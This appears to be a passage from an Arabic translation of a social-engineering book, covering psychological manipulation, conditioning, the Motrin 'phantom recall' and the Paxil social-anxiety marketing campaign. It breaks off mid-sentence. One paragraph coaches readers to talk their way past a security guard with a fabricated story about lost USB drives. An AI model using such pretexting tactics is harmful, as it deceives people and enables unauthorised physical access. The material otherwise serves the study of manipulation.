‫ﻓﻲ ﻣﻌظم اﻷﺣﯾﺎن‪ ،‬اﻟﺗﻼﻋب ﻟﯾس ﻣﺗطرف ﺟدا‪ .‬ﻋﻠﻰ ﻣﺳﺗواه اﻷﺳﺎﺳﻲ‪ ،‬ﺗﺧﯾل أﻧك ﻓﻲ ﻏرﻓﺔ ﻣزدﺣﻣﺔ وﺷﺧص ﻣﺎ ﯾﻧﺎدى ﻋﻠﻰ اﺳﻣك‪ .‬ﻣﺎ ھو رد‬
‫ﻓﻌﻠك؟ ﻋﺎدة إﻧك ﺗدور وﺗﺗﺟﮫ ﻧﺣو اﻟﻣﻧﺎدى أو اﻻﺳﺗﺟﺎﺑﺔ ﻣﻊ "ﻧﻌم؟" ﻟﻘد ﺗم اﻟﺗﻼﻋب ﺑك‪ ،‬وﻟﻛن ﻟﯾس ﺑﺎﻟﺿرورة ﺑطرﯾﻘﺔ ﺳﯾﺋﺔ‪.‬‬
‫ﻋﻠﻰ اﻟﻣﺳﺗوى اﻟﻧﻔﺳﻲ‪ ،‬ﯾﺟري اﻟﺗﻼﻋب أﻛﺛر ﻋﻣﻘﺎ‪ .‬ﻻﺣظ ﻣﺎ ﺣدث ﻋﻧد اﻟﺗﻔﺎﻋل ﻣﻊ اﻟﺣدث اﻟﺳﺎﺑﻖ‪ :‬ﻋﻘﻠك ﯾﺳﻣﻊ اﺳﻣك‪ ،‬وﯾﻣﻛﻧﮫ وﺿﻊ ﺟواﺑﺎ‬
‫ﺗﻠﻘﺎﺋﯾﺎ )"ﻧﻌم؟"(‪ .‬اﻟﻌﻼﻗﺔ ﺑﯾن ھذا اﻟﺟواب واﻻﺳﺗﺟﺎﺑﺔ اﻟﺻوﺗﯾﺔ ﻗﺻﯾر ﺟدا‪ .‬ﺣﺗﻰ ﻟو ﻟم ﺗﺟري أي رد اﻟﺻوﺗﯾﺔ أو إذا ﻟم ﯾﻛن اﻻﺳم اﻟﻣﻧﺎدى ﻋﻠﯾﮫ‬
‫ﯾﺳﺗﮭدﻓك ﺷﺧﺻﯾﺎ‪ ،‬إذا ﺳﺄﻟت ﺳؤاﻻ ﻓﺄن ﻋﻘﻠك ﯾﻘوم ﺑﺻﯾﺎﻏﺔ اﻟﺟواب‪.‬‬
‫ﻣﺟرد اﻻﻗﺗراب ﻣن ﺷﺧﺻﯾن ﯾدور ﺑﯾﻧﮭﻣﺎ ﻣﺣﺎدﺛﮫ ﺛم ﺳﻣﻌت ﺳؤال ﻓﺎن ھذا ﺳوف ﯾﺳﺑب ﻟﻌﻘﻠك ﺻﯾﺎﻏﺔ اﻟﺟواب‪ .‬اﻟﺟواب ﯾﻣﻛن أن ﯾﻛون‬
‫ﺻورة أو ﺻوت ﻓﻲ ﻋﻘﻠك‪ .‬إذا ﺳﻣﻊ ھدﻓك ﺷﺧﺻﯾن ﯾﺗﺣدﺛﺎ ﻋن ﺷﺧص ﻣﺎ ﯾﺑدو ﻣﺛﻠﮫ ﻓﺄن ﻋﻘﻠﮫ ﺳوف ﯾﺷﻛل ﺻورة اﻟذھﻧﯾﺔ‪ .‬إذا ﺳﻣﻌت‬
‫ﺷﺧﺻﯾن ﯾﺣﻛﻲ دﻋﺎﺑﺔ ﻋن اﻟدﺟﺎج اﻟذي ﺗﻌﺑر اﻟطرﯾﻖ‪ ،‬ﻗد ﺗﺻور اﻟدﺟﺎج‪ ،‬اﻟطرﯾﻖ‪ ،‬أو اﻟﻣﺷﮭد ﺑﺄﻛﻣﻠﮫ‪.‬‬
‫ھذا اﻟﻧوع ﻣن اﻟﺗﻼﻋب ھو ﻣﺟرد ﺑداﯾﺔ ﻣﺎ ﯾﻣﻛﻧك اﻟﻘﯾﺎم ﺑﮫ‪ .‬ﺗﻛﺗﯾك آﺧر ﻣن اﻟﺗﻼﻋب ﯾﻛون ﻋن اﻟﺗﻛﯾﯾف )‪.(conditioning‬‬
‫اﻟﻧﺎس ﻣن اﻟﻣﻣﻛن أن ﺗﻛون ُﻣ َﮭﺎﯾَﺄَة ﻟرﺑط ﺑﻌض اﻷﺻوات أو اﻹﺟراءات ﻣﻊ اﻟﻣﺷﺎﻋر واﻟﻌواطف‪ .‬إذا ﻛﺎن ﻓﻲ ﻛل ﻣره ﯾﺗم ذﻛر ﺷﻲء إﯾﺟﺎﺑﻲ‬
‫ﻓﺎن اﻟﺷﺧص ﯾﺳﻣﻊ ﺑﻧﻘرة اﻟﻘﻠم‪ ،‬وﺑﻌد وﻗت ﻗﺻﯾر ﻓﺎن اﻟﮭدف ﯾﻛون ﻣﮭﯾﺄ ﻟرﺑط اﻟﺷﻌور اﻹﯾﺟﺎﺑﻲ ﻣﻊ ھذا اﻟﺻوت‪.‬‬
‫واﺣدا ﻣن أﻛﺛر اﻷﻣﺛﻠﺔ اﻟﻛﻼﺳﯾﻛﯾﺔ ﻟﻠﺗﻛﯾﯾف )اﻟﺗﮭﯾﺋﺔ( إﯾﻔﺎن ﺑﺎﻓﻠوف وﻣﺎ ﻧﺳﻣﯾﮫ ﻛﻠب ﺑﺎﻓﻠوف‪ ،‬واﻟﺗﻲ ﻧوﻗﺷت ﻓﻲ ﻓﺻل ﺳﺎﺑﻖ‪ .‬ﺛم ﯾﺻﺑﺢ اﻟﺳؤال ﻣﺎ‬
‫إذا ﻛﺎن ﯾﻣﻛن اﺳﺗﺧدام ھذا اﻟﻧوع ﻣن اﻟﺗﻛﯾﯾف ﻋﻠﻰ اﻟﻧﺎس‪ .‬ﻋﻠﻰ اﻟرﻏم م أن ﺟﻌل اﻷھداف ﯾﺳﺎل ﻟﻌﺎﺑﮭم ﻟﯾﺳت ﻋﻠﻰ ﻗﺎﺋﻣﺔ أوﻟوﯾﺎت ﻣﻌظم‬
‫اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﻲ ")روح دﻋﺎﺑﺔ اﻟﻛﺎﺗب(‪ ،‬ھل ھﻧﺎك طرق ﻟﺗﮭﯾﺋﺔ )ﺗﻛﯾف( اﻟﮭدف ﻟﻠرد ﻋﻠﻰ ﻣﺟﻣوﻋﺎت ﻣﻌﯾﻧﺔ ﻣن اﻟﻣدﺧﻼت ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ‬
‫ﺗرﯾدھﺎ ﻟﮭم ﻟﻠرد؟ ﻟﻠﻌﺛور ﻋﻠﻰ اﻹﺟﺎﺑﺔ‪ ،‬ﻓﻘم ﺑﻘراءة اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ‪ ،‬واﻟﺗﻲ ﺗوﻓر ﺑﻌض اﻷﻣﺛﻠﺔ ﻋﻠﻰ اﻟﺗﻼﻋب ﻓﻲ اﻷﻋﻣﺎل واﻟﺗﺳوﯾﻖ ﻟوﺿﻊ‬
‫اﻷﺳﺎس ﻟﻠﻣﻧﺎﻗﺷﺔ وﺗﺣﻠﯾل ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻟﺗﻼﻋب ﻋﻠﻰ اﻟﻣﺳﺗوى اﻟﺷﺧﺻﻲ‪.‬‬
‫‪To Recall or Not To Recall‬‬
‫ﻓﻲ ﻣﺎﯾو ‪ 2010‬ذﻛرت ﺻﺣﯾﻔﺔ واﺷﻧطن ﺑوﺳت ﻗﺻﺔ ﻣﺛﯾرة ﻟﻼھﺗﻣﺎم‪.‬‬
‫‪http://www.washingtonpost.com/wp-dyn/content/article/2010/05/27/AR2010052705484.html‬‬
‫ﺻﺎﻧﻌوا دواء اﻷطﻔﺎل ﺗﺎﯾﻠﯾﻧول‪ ،‬ﻣوﺗرﯾن‪ ،‬ﺑﯾﻧﺎدرﯾل‪ ،‬وذرﺗﯾك‪ ،‬ﻣن ﺑﯾن ﺳﺎﺋر ادوﯾﺔ اﻟﺷرب اﻷﺧرى‪ ،‬اﻛﺗﺷﻔت دﻓﻌﺔ ﻣﻌﯾﺑﺔ ﻣن اﻟﻣوﺗرﯾن وﻻ‬
‫ﯾرﯾدون إﺟراء اﺳﺗدﻋﺎء‪/‬اﺳﺗرﺟﺎع ذﻟك ﺑﺳﺑب ﺗﻛﺎﻟﯾف ﻣﺛل ھذا اﻟﻌﻣل‪ .‬ﻣﺎذا ﻛﺎن ﺟواب اﻟﺷرﻛﺔ؟‬
‫ﻗﺎﻣوا ﺑﺎﺳﺗﺧدام اﻟﺗﻼﻋب‪ .‬اﻟﺷرﻛﺔ اﺳﺗﺄﺟرت ﻋددا ﻛﺑﯾرا ﻣن اﻟﻣﺗﻌﺎﻗدﯾن ﻟﻠذھﺎب ﻣن ﻣﺗﺟر اﻟﻰ ﻣﺗﺟر وإﻋﺎدة ﺷراء ﺟﻣﯾﻊ اﻟﻣوﺗرﯾن اﻟﻣوﺟود ﻓﻲ‬
‫اﻟﻣﺗﺟر‪ ،‬واﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﯾﺗم ﺗدﻣﯾرھﺎ‪ .‬ﻟﻸﺳف‪ ،‬ﺗم إﺣﺑﺎط ھذه اﻟﺧطﺔ ﻋﻧدﻣﺎ اﺧﻔض أﺣد اﻟﻣﺗﻌﺎﻗدﯾن ورﻗﺔ ﻓﻲ أﺣد اﻟﻣﺗﺎﺟر ﺗﺣﺗوي ﻋﻠﻰ ھذه‬
‫اﻟﺧطوط اﻟﻌرﯾﺿﺔ ﻟﻠﻣؤاﻣرة‪ ،‬وﻛﺎن ﻓﻲ ﺣﯾﻧﮭﺎ إﺑﻼغ ﻣﻧظﻣﺔ اﻟدواء اﻻﺗﺣﺎدﯾﺔ )‪.(FDA) (Federal Drug Administration‬‬
‫ﻋﻠﻰ اﻟﺟﺎﻧب اﻻﺧر‪ ،‬ﻗﺎﻣت ‪ FDA‬ﺑﺟﻌل ﺗﻠك اﻟﺷرﻛﺔ اﻟﻘﯾﺎم ﺑﺎﺳﺗرﺟﺎع ‪ 136‬ﻣﻠﯾون ﻣن اﻟزﺟﺎﺟﺎت واﻟﺗﻲ اﺳﺗرﺟﻌت ﺗﺷﻐﯾﻠﮫ )دﻓﻌﮫ( واﺣده ﻓﻘط‬
‫ﻣن أﺻل أرﺑﻌﺔ ﺗذﻛر‪ .‬ﻟﻸﺳف‪ ،‬ﻛﺎن اﻷوان ﻗد ﻓﺎت ﺣﯾث ﺗم اﻹﺑﻼغ ﻋن ‪ 775‬ﺣﺎﻟﺔ ﻣن ﺣﺎﻻت اﻷطﻔﺎل واﻟرﺿﻊ اﻟذﯾن ﻛﺎن ﻟﮭم ردود اﻟﻔﻌل‬
‫اﻟﺳﻠﺑﯾﺔ ﻟﮭذه اﻟدﻓﻌﺔ اﻟﻣﻠوﺛﺔ‪ ،‬ﻣﻊ ‪ 37‬ﻣن اﻟﺣﺎﻻت أﺻﯾﺑوا ﺑﺎﻟوﻓﺎة‪ .‬اﻟﺗﻘﺎرﯾر ﻛﺎﻧت ﻟﯾﺳت ﻗﺎطﻌﺔ ﻣﺎ إذا ﻛﺎﻧت اﻟوﻓﯾﺎت ﻛﺎﻧت ﻧﺗﯾﺟﺔ ﻟﻠﻣوﺗرﯾن اﻟﺳﯾﺋﺔ‬
‫أو رد ﻓﻌل ﻋﻠﻰ ﻣوﺗرﯾن‪ .‬ﻟﯾس ھذا ھو اﻟﺗرﻛﯾز ھﻧﺎ‪.‬‬
‫ھذا ھو ﻣﺛﺎل ﻣظﻠم ﺟدا ﻣن اﻟﺗﻼﻋب‪ ،‬أو ﻣﺣﺎوﻟﺔ اﻟﺗﻼﻋب ﻋﻠﻰ اﻷﻗل‪ .‬ﻟﺣﻣﺎﯾﺔ ﺻورة ھذه اﻟﺷرﻛﺔ اﻧﮭﺎ ﻣﺳﺗﻌدة ﻟﻠﺗﺧﻠﻲ ﻋن اﻹﺟراءات اﻟﺳﻠﯾﻣﺔ‬
‫وﺳﻼﻣﺔ اﻷطﻔﺎل ﻓﻲ ﺟﻣﯾﻊ أﻧﺣﺎء اﻟﻌﺎﻟم‪ .‬اﻧﮭﺎ ﻣﺣﺎوﻟﺔ ﻟﻠﺗﻼﻋب ﻓﻲ اﻟﻧظﺎم وﻓﻲ ﻋﻣﻠﯾﺔ ﻓﻘدان اﻟﻧﺎس ﺣﯾﺎﺗﮭم‪ .‬ﻧﺎﻗﺷت اﻟوﺛﺎﺋﻖ اﻟﺗﻲ أﺳﻘطت ﻓﻲ‬
‫اﻟﻣﺗﺟر ﻛﯾف ﻛﺎن اﻟﻣﺗﻌﺎﻗدﯾن ﻟﮭم أواﻣر ﺑﺷراء اﻟﻣﻧﺗﺞ ﻹرﺟﺎﻋﮫ وﻋدم ذﻛر ذﻟك "أي ﺳﺣب اﻟﻣﻧﺗﺞ ﻣن اﻟﺳوق" ﻓﻲ أي ﻧﻘطﺔ ﻣن اﻟوﻗت‪.‬‬
‫ﻋﻧدﻣﺎ أﻣﺳﻛت اﻟﺷرﻛﺔ اﻧﮭﺎ ﻧﺷرت اﻟﻌدﯾد ﻣن ﺗﻛﺗﯾﻛﺎت اﻟﺗﻼﻋب اﻟﻣﺛﯾرة ﻟﻼھﺗﻣﺎم‪ .‬ﻓﻘﺎﻣت ﺑﺎﻟﺗﮭرب ﻣن اﻟوﺿﻊ ﺑﺎﻟﻘول إن ﺳﺑب ھذا اﻟﻌﻣل أن‬
‫ﺧﺑراﺋﮭم ﻻ ﯾﻌﺗﻘدون ﺑوﺟود ﺧطرا ﻛﺑﯾرا ﻋﻠﻰ اﻷطﻔﺎل‪.‬‬
‫وﻗد ﺗﻼ ھذا اﻟﺑﯾﺎن اﻋﺗذارا رﺳﻣﯾﺎ وطرد ﺳﺗﺔ ﻣن ﻛﺑﺎر اﻟﻣﺳؤوﻟﯾن اﻟﺗﻧﻔﯾذﯾﯾن‪ .‬ﺛم ﺟﺎء اﻟﺗﻼﻋب اﻟﺣﻘﯾﻘﻲ ﻓﻲ‪ .‬أﺛﻧﺎء اﻻﺳﺗﺟواب‪ ،‬ﺣﯾث ذﻛرت‬
‫اﻟﺷرﻛﺔ أﻧﮭﺎ ﻟم ﺗﺣﺎول اﻟﻘﯾﺎم ﺒ "اﻻﺳﺗدﻋﺎء‪/‬اﻻﺳﺗرﺟﺎع اﻟوھﻣﻲ"‪ ،‬ﻛﻣﺎ ﻛﺎن ﯾطﻠﻖ ﻋﻠﯾﮫ‪ .‬ﺣﯾث ﻛﺎﻧت اﻟﺷرﻛﺔ ﺗﺧﺗﺑر اﻟدﻓﻌﺔ اﻟﻣﺗﺿررة اﻟﻣزﻋوﻣﺔ‬
‫ﻣن ﺧﻼل وﺟود ﻣﺗﻌﺎﻗدﯾن ﻟﺷراء اﻟﻣﻧﺗﺞ وإﻋﺎدﺗﮫ ﻟﻔﺣﺻﮭﺎ‪ .‬ﻓﻌﻧدﻣﺎ ﺗﺑﯾن أن اﻟﻣﻧﺗﺞ ﻣﻌﯾب ﻓﺎن اﻟﺷرﻛﺔ ﻗد اﺗﺧذت اﻹﺟراءات اﻟﻣﻧﺎﺳﺑﺔ‪ .‬ﺣﺎوﻟت‬
‫ھذه اﻟﺷرﻛﺔ اﺳﺗﺧدام ﺗﻘﻧﯾﺔ ﻣن اﻟﺗﻼﻋب ﺗﺳﻣﻰ اﻟﺗﺣوﯾل‪/‬اﻻﻟﮭﺎء )‪ ،(diversion‬ﻟﺗﺣوﯾل اﻻﻧﺗﺑﺎه ﻋﻣﺎ ﻛﺎﻧوا ﯾﻔﻌﻠوﻧﮫ ﺣﻘﺎ ﻟﺟﻌﻠﮫ ﯾﺑدو أﻓﺿل ﻣﻣﺎ‬
‫ﻛﺎن ﻋﻠﯾﮫ‪ .‬وﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﻓﺈﻧﮫ ﯾﺳﺗﺧدم ﺗﻘﻧﯾﺔ اﻟﺗﺳﺗر ﻋﻠﻰ اﻟﺗﻼﻋب ﺑﺗﻔﻛﯾر ھؤﻻء اﻟذﯾن اﺧﺗﻠﻔوا ﻣﻊ اﻷﻓﻌﺎل اﻟﺗﻲ ﻗﺎﻣت ﺑﮭﺎ اﻟﺷرﻛﺔ ﻣن‬
‫ﺧﻼل إﺻدار اﻟﺑﯾﺎﻧﺎت أن اﻟﺷرﻛﺔ ﺗﺣﺎول أن ﺗﻔﻌل اﺧﺗﺑﺎر ﻟﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن ھﻧﺎك ﺣﺎﺟﺔ ﻻﺳﺗدﻋﺎء‪/‬اﺳﺗرﺟﺎع ھذا اﻟﻣﻧﺗﺞ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪937‬‬

‫ھذا اﻟﻧوع ﻣن اﻟﺗﻼﻋب ﯾﺳﺗﺣﻖ اﻟﻣﻧﺎﻗﺷﺔ ﻷن ﺗﻛﺗﯾك اﻟﺗﺣوﯾل‪/‬اﻻﻟﮭﺎء )‪ (diversion‬ﯾﻣﻛن أن ﯾﻌﻣل ﻋﻠﻰ ﻧطﺎق أﺻﻐر ﺑﻛﺛﯾر ﻓﻲ ﺗﺣدﯾد‬
‫اﻟﺷﺧﺻﯾﺔ أﯾﺿﺎ‪ .‬إذا ﺗم اﻹﻣﺳﺎك ﺑك ﻓﻲ ﻣﻧطﻘﺔ أو ﻣﻛﺎن ﻻ ﯾﻧﺑﻐﻲ أن ﺗﻛون ﻓﯾﮫ‪ ،‬ﺛم وﺟودت ﻗﺻﺔ ﺟﯾدة ﻟﺗﻐطﯾﺔ ذﻟك واﻟﺗﻲ ﺗﺻدق ﯾﻣﻛن أن‬
‫ﺗﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو اﻟﺗﻼﻋب ﺑﺎﻟﮭدف ﻟﯾﺳﻣﺢ ﻟك ﺑﺎﻟﻣرور اﻵﻣن‪ .‬ﯾﻣﻛن ﺗﺣوﯾل اﻧﺗﺑﺎه اﻟﮭدف إﻟﻰ ﺷﻲء آﺧر ﻏﯾر اﻟﻣﺷﻛﻠﺔ اﻟﺗﻲ ﻓﻲ ﻣﺗﻧﺎول ﯾده‬
‫ﺗﻌطﯾك اﻟوﻗت اﻟﻛﺎﻓﻲ ﻹﻋﺎدة ﺗوﺟﯾﮫ اﻻھﺗﻣﺎم ﻟﮫ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬إذا ﻛﻧت ذات ﻣره ﺗم اﻹﻣﺳﺎك ﺑك ﻣن ﻗﺑل ﺣﺎرس اﻷﻣن‪ ،‬ﺑدﻻ ﻣن ان ﺗﺻﺑﺢ‬
‫ﻋﺻﺑﯾﺎ‪ ،‬ﻓﺈﻧك ﺑﺑﺳﺎطﮫ وﺑﮭدوء ﺗﻧظر اﻟﯾﮫ وﺗﻘول‪" :‬ھل ﺗﻌرف ﻣﺎ أﻗوم ﺑﮫ ھﻧﺎ؟ ھل ﺳﻣﻌت أن ﺑﻌض ﻣﻔﺎﺗﯾﺢ ‪ USB‬ﻗد ﻓﻘدت واﻟﺗﻲ ﺗﺣﺗوي ﻋﻠﻰ‬
‫ﺑﯾﺎﻧﺎت ھﺎﻣﺔ ﺟدا؟ وﻣن اﻟﻣﮭم ان ﻧﺟدھم ﻗﺑل أن ﯾﺄﺗﻲ اﻟﺟﻣﯾﻊ ﻓﻲ اﻟﻐد‪ .‬ھل ﺗرﯾد أن ﺗﺑﺣث ﻓﻲ اﻟﺣﻣﺎﻣﺎت؟"‬
‫رﺑﻣﺎ اﻟﻛﺛﯾر ﻣﻧﻛم ﻟم ﯾﺳﻣﻊ ﻋن ﻗﺻﺔ اﺳﺗدﻋﺎء ﻣوﺗرﯾن )‪ ،(Motrin recall story‬واﻟﺗﻲ ﺗﺑﯾن أن اﻟﺷرﻛﺔ ﻗﺎﻣت ﺑﻌﻣل ﺟﯾد ﺑﺎﻟﺗﻼﻋب )ﺣﺗﻰ‬
‫اﻵن( اﻟﻧظﺎم اﻹﻋﻼﻣﻲ واﻟﻌداﻟﺔ ﻟﻠﺣﻔﺎظ ﻋﻠﻰ اﻷﺿواء ﻟﻠﺧروج ﻣن ذﻟك‪ .‬ﺑﻐض اﻟﻧظر‪ ،‬وﯾﺑﯾن ھذا اﻟوﺿﻊ ﻛﯾف ﯾﻣﻛن اﺳﺗﺧدام اﻟﺗﺣوﯾل‪/‬اﻻﻟﮭﺎء‬
‫واﻟﺗﺳﺗر ﻓﻲ اﻟﺗﻼﻋب‪.‬‬
‫اﻟﻘﻠﻖ ﯾﺘﻢ ﻋﻼﺟﮫ ﻓﻲ اﻵﺧﺮ )‪(Anxiety Cured at Last‬‬
‫ﻓﻲ ﻋﺎم ‪ 1998‬ﺳﻣﯾﺛﻛﻼﯾن ﺑﯾﺗﺷﺎم‪ ،‬واﺣدة ﻣن أﻛﺑر ﺷرﻛﺎت اﻷدوﯾﺔ ﻓﻲ اﻟﻌﺎﻟم‪ ،‬أطﻠﻘت ﺣﻣﻠﺔ إﻋﻼﻧﯾﺔ ﺗﮭدف إﻟﻰ "ﺗﺛﻘﯾف" اﻟﺟﻣﺎھﯾر ﺣول ﺷﻲء‬
‫ﻣﺎ وﺻﻔﺗﮫ ب "اﺿطراب اﻟﻘﻠﻖ اﻻﺟﺗﻣﺎﻋﻲ )‪ ."(social anxiety disorder‬ﺣﯾث وزرﻋت ‪ 50‬ﻣن اﻟﻘﺻص اﻟﺻﺣﻔﯾﺔ واﺳﺗطﻼﻋﺎت ﻣﻊ‬
‫أﺳﺋﻠﺔ ﻣﺛل "ھل ﻟدﯾك اﺿطراب اﻟﻘﻠﻖ اﻻﺟﺗﻣﺎﻋﻲ؟ "ﺗم ﺗوﺟﯾﮫ ھذه اﻻﺧﺗﺑﺎرات واﻻﺳﺗطﻼﻋﺎت اﻟﻰ" ﺗﺛﻘﯾف "اﻟﻧﺎس ﻋﻠﻰ ھذا اﻻﺿطراب وﻛﯾﻔﯾﺔ‬
‫ﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎﻧوا ﯾﻌﺎﻧون ﻣﻧﮭﺎ‪.‬‬
‫ﻓﻲ وﻗت ﻻﺣﻖ ﻣن ذﻟك اﻟﻌﺎم ﻏﯾرت ﻧﺳﺧﺔ اﻟﺣﻣﻠﺔ اﻟﺗﺳوﯾﻘﯾﺔ ﻓﻲ اﻟﻣﺟﻼت اﻟطﺑﯾﺔ )اﻟﺑروﺷور )اﻟﻐﻼف اﻟذي ﯾﺣﺗوي ﻋﻠﻰ ﺑﻌد اﻟﻛﻠﻣﺎت اﻟدﻋﺎﺋﯾﺔ‬
‫ﻋن دواء ﻣﻌﯾن(( ﻣن "ﺑﺎﻛﺳﯾل ﯾﻌﻧﻲ اﻟﺳﻼم ‪ ...‬ﻓﻲ اﻻﻛﺗﺋﺎب‪ ،‬واﺿطراﺑﺎت اﻟﮭﻠﻊ‪ ،‬واﻟوﺳواس اﻟﻘﮭري" إﻟﻰ "ارھم اﻧﮫ ﯾﻣﻛن ‪ ...‬اﻟﻣﻌﺎﻟﺞ اﻷول‬
‫ﻓﻘط ﻻﺿطراب اﻟﻘﻠﻖ اﻻﺟﺗﻣﺎﻋﻲ"‪.‬‬
‫‪Paxil means peace…in depression, panic disorder, and OCD  Show them they can…the first and‬‬
‫‪only approved treatment for social anxiety disorder‬‬
‫ﻛﻠف ھذا اﻟﺗﻐﯾﯾر اﻟﺷرﻛﺔ ﺣواﻟﻲ ‪ 1‬ﻣﻠﯾون دوﻻر‪ .‬ﻓﻲ ﻋﺎم ‪ ،1999‬ﺗم إطﻼق ﺣﻣﻼت ﻣطﺑوﻋﺔ وﺗﻠﻔزﯾوﻧﯾﮫ ﺑﺗﻛﻠﻔﺔ ‪ $ 30000000‬ﻣﻌﻠﻧﺎ أن‬
‫ﺳﻣﯾﺛﻛﻼﯾن ﺑﯾﺗﺷﺎم وﺟدت ﻋﻼج ﻻﺿطراب اﻟﻘﻠﻖ اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬واﺳﻣﮫ ﺑﺎﻛﺳﯾل‪ .‬ﺑﺎﺳﺗﺧدام اﻟﺑﯾﺎﻧﺎت ﻣن اﻟدراﺳﺎت اﻻﺳﺗﻘﺻﺎﺋﯾﺔ واﻻﺧﺗﺑﺎرات اﻟﺗﻲ‬
‫ﻗﺎﻣت ﺑﮭﺎ اﻟﺷرﻛﺔ وﻋرﺿﮭﺎ ﻣﻊ ﺑﻌض ﻣن "اﻟﻌروض اﻟﺗﻠﻔزﯾوﻧﯾﺔ اﻷﻛﺛر ﻣﺷﺎھده" ﻓﻲ ذﻟك اﻟوﻗت ذﻛر اﻹﺣﺻﺎﺋﯾﺎت أن ‪ 10‬ﻣﻠﯾون أﻣرﯾﻛﻲ‬
‫ﯾﻌﺎﻧون ﻣن ‪) SAD‬اﺿطراب اﻟﻘﻠﻖ اﻻﺟﺗﻣﺎﻋﻲ( ﺑﺈﺳﮭﺎب‪ ،‬واﻵن ھﻧﺎك أﻣل‪.‬‬
‫ﺑﺣﻠول ﻋﺎم ‪ ،2000‬ﺑﻠﻐت ﻣﺑﯾﻌﺎت ﺑﺎﻛﺳﯾل زﯾﺎدة اﻟﻧﺻف ﻋن ﻛﺎﻣل اﻟﺳوق‪ :‬اﻟﺷرﻛﺔ "أﺻﺑﺣت رﻗم واﺣد ﻓﻲ ﺳوق اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة ﻟﻸدوﯾﺔ‬
‫اﻟﻣﻧدرﺟﺔ ﺗﺣت ﺑﻧد ‪ serotonin reuptake inhibitor‬ﻧﺗﯾﺟﺔ اﻟوﺻﻔﺎت اﻟﺟدﯾدة ﻓﻲ ‪' .2000‬ﻓﻲ ﻋﺎم ‪ 2001‬ﺣﺻل ﻋﻠﻰ ﻣواﻓﻘﺔ ‪FDA‬‬
‫ﻟﺗﺳوﯾﻖ ﺑﺎﻛﺳﯾل ﻋﻠﻰ ﺣد ﺳواء ﻻﺿطراب اﻟﻘﻠﻖ اﻟﻌﺎم )‪ (generalized anxiety disorder‬واﺿطراب ﻣﺎ ﺑﻌد اﻟﺻدﻣﺔ‬
‫)‪.(posttraumatic stress disorder‬‬
‫أﺳﻔرت ھﺟﻣﺎت ‪ 11/9‬ﻓﻲ زﯾﺎدة ﻛﺑﯾرة ﻓﻲ اﻟوﺻﻔﺎت اﻟطﺑﯾﺔ ﻟﺟﻣﯾﻊ ﻣﺿﺎدات اﻻﻛﺗﺋﺎب )‪ (antidepressants‬وﻋﻘﺎﻗﯾر اﻟﻘﻠﻖ‪ .‬ﺧﻼل ھذا اﻟوﻗت‬
‫إﻋﻼن ﺑﺎﻛﺳﯾل وﺿﻊ ﻛﺈﺟﺎﺑﺔ ﻟﻣﺷﺎﻋر اﻟﺧوف اﻟذﯾن ﻻ ﯾﻣﻛن اﻟﺳﯾطرة ﻋﻠﯾﮭﺎ واﻟﻌﺟز اﻟﺗﻲ ﺷﻌر ﺑﮭﺎ ﻛﺛﯾر ﻣن اﻟﻧﺎس ﻓﻲ أﻋﻘﺎب اﻟﮭﺟﻣﺎت‪.‬‬
‫أﻧﺎ ﻻ أﻗول إن ھذه اﻷدوﯾﺔ ﻻ ﺗﻌﻣل‪ ،‬أو أن داﻓﻊ اﻟﺷرﻛﺔ ھو ﺿﺎر‪ ،‬وﻟﻛن أﺟد ھذه اﻟﺣﺎﻟﺔ ﻣﺛﯾرة ﻟﻼھﺗﻣﺎم ﻻ ﺳﯾﻣﺎ ﻓﻲ ھذا اﻟﺗﻼﻋب ﻓﻲ اﻟﺳوق ﺑدأ‬
‫ﻣﻊ اﻟﺗﻌﻠﯾم واﻧﺗﮭت ﻣﻊ زﯾﺎدة ﻛﺑﯾرة ﻓﻲ اﻟﻣﺑﯾﻌﺎت‪ ،‬ﻓﻲ ﺣﯾن ﺧﻠﻖ اﺿطراﺑﺎت ﺟدﯾدة ﻋﻠﻰ طول اﻟطرﯾﻖ‪.‬‬
‫ﻛﺛﯾرا ﻣﺎ ﯾﺳﺗﺧدم ھذا اﻟﻧوع ﻣن اﻟﺗﻼﻋب ﻓﻲ ﺑﻧﺎء ﺣﺎﻟﺔ ﻓﻲ ﻣﺟﺎل اﻟﺗﺳوﯾﻖ‪ ،‬وﻟﻛﻧﮭﺎ ﺗﺳﺗﺧدم أﯾﺿﺎ ﻓﻲ اﻟﺳﯾﺎﺳﺔ وﺣﺗﻰ ﻋﻠﻰ اﻟﻣﺳﺗوى اﻟﺷﺧﺻﻲ‪،‬‬
‫ﺗﻌرض اﻟﻣﺷﻛﻠﺔ اﻟﺗﻲ ھﻲ ﺷﻲء رھﯾب‪ ،‬وﻟﻛن ﺑﻌد ذﻟك ﯾﻘدﻣون "اﻟﺣﻘﺎﺋﻖ" اﻟﻣﺳﺗﻣدة ﻛدﻟﯾل ﻟﻣﺎذا ﻣﺎ ﺗﻘوﻟﮫ ﺻﺣﯾﺢ‪ .‬ﻓﻲ إﺣدى ﺣﻠﻘﺎت‬
‫‪ ،The Real Hustle‬ﻗﺎم ﺑول وﯾﻠﺳون ﺑﺗﻌﯾن ﺳﯾﻧﺎرﯾو ﺣﯾث ﻛﺎن ﯾﺳﺗﺧدم ذرﯾﻌﺔ ﻟﻧﺟم ﺷﮭﯾر ﻛﺎﻧوا ﯾﺳﺗﺧدﻣوﻧﮭﺎ ﻓﻲ ﻋﻣﻠﯾﺔ اﻟﻧﺻب واﻻﺣﺗﯾﺎل‬
